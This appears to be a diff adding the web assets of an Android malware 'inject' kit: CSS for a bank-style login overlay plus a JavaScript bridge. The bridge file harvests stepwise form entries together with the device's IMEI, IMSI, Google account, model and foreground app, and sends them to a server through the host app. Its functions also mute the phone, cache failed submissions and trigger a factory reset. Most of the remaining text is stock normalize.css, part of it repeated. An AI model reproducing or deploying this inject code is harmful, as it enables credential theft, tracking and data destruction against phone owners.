|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #545353;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #C10406;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#F0F0F0;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 40px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
